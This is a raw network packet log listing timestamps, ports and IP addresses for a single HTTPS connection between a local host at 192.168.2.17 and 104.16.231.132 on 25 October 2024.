Oct 25, 2024 10:17:41.512295008 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512304068 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512307882 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512356043 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512362003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512379885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512419939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512423992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512447119 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512455940 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512470007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512490988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512495041 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512537003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512542963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512559891 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512602091 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512605906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512625933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512649059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512655973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512660027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512686014 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512707949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512721062 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512725115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512777090 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512795925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512833118 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512861967 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512866974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512904882 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512919903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512940884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512953997 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512958050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.513011932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.513019085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.513071060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.719430923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.719513893 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:42.147373915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:42.147470951 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:42.979346991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:42.979437113 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.626625061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.626653910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.626768112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.639749050 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.639770031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.639785051 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.639851093 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.639859915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.639870882 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.639956951 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.639961958 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.639974117 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.639987946 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640064001 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.640089989 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640130997 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.640142918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640170097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640177011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.640182018 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640201092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640325069 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.640352011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640387058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640436888 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.640446901 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640502930 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.640511990 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640537024 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640558958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.640566111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640685081 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.640691042 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640705109 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640794039 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.640805006 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640857935 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.640865088 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640882969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640933037 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.640938044 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.640947104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641031981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641041040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641050100 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641134977 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641139984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641211033 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641216040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641237020 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641288996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641307116 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641403913 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641408920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641464949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641468048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641488075 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641525984 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641525984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641566992 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641571999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641592979 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641598940 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641618013 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641681910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641686916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641701937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641750097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641772985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641781092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641819000 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641913891 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641953945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.641988993 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.641993999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642003059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.642088890 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642152071 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642163038 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.642178059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642218113 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.642307043 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642343998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642366886 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.642371893 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642399073 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.642478943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642520905 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642535925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.642544985 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642601013 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.642668009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642707109 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642729044 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.642733097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642764091 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.642838001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642882109 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642901897 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.642906904 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.642947912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643011093 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643052101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643070936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643076897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643119097 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643181086 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643229008 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643245935 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643254995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643290997 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643423080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643460035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643559933 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643559933 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643598080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643621922 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643657923 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643666029 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643707037 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643744946 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643776894 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643796921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643798113 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643817902 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643852949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643856049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643891096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643903971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.643930912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643953085 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.643980980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644023895 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644056082 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644067049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644094944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644146919 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644151926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644175053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644215107 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644216061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644246101 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644257069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644293070 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644313097 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644347906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644387007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644422054 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644432068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644457102 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644479036 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644519091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644556999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644591093 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644601107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644624949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644669056 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644687891 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644727945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644771099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644782066 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644813061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644835949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644860983 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644910097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644947052 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.644958973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.644998074 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645018101 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645041943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645086050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645124912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645142078 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645168066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645190001 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645226955 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645271063 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645303965 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645313978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645342112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645365953 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645405054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645447016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645473957 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645483971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645509958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645536900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645577908 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645620108 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645663023 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645673037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645704985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645723104 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645749092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645792007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645827055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645837069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645864964 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645886898 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.645922899 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645961046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.645997047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646008015 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646033049 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646060944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646090984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646128893 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646162033 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646172047 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646198034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646220922 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646262884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646303892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646339893 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646348953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646375895 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646394014 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646435976 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646475077 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646517038 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646532059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646562099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646598101 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646603107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646711111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646754980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646760941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646778107 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646789074 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646822929 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646851063 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646914959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646955967 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.646976948 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.646986961 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647038937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647038937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647087097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647125959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647157907 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647169113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647197008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647216082 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647258043 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647299051 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647345066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647361040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647382975 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647404909 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647450924 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647497892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647522926 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647532940 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647559881 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647577047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647625923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647676945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647706032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647716045 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647742033 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647769928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647804976 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647845030 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647877932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647887945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.647912979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647937059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.647990942 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648034096 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648063898 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648075104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648099899 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648150921 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648160934 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648184061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648226023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648226976 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648256063 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648267031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648297071 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648338079 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648351908 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648389101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648422003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648432970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648458958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648480892 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648539066 CEST	443	58442	104.16.231.132	192.168.2.17
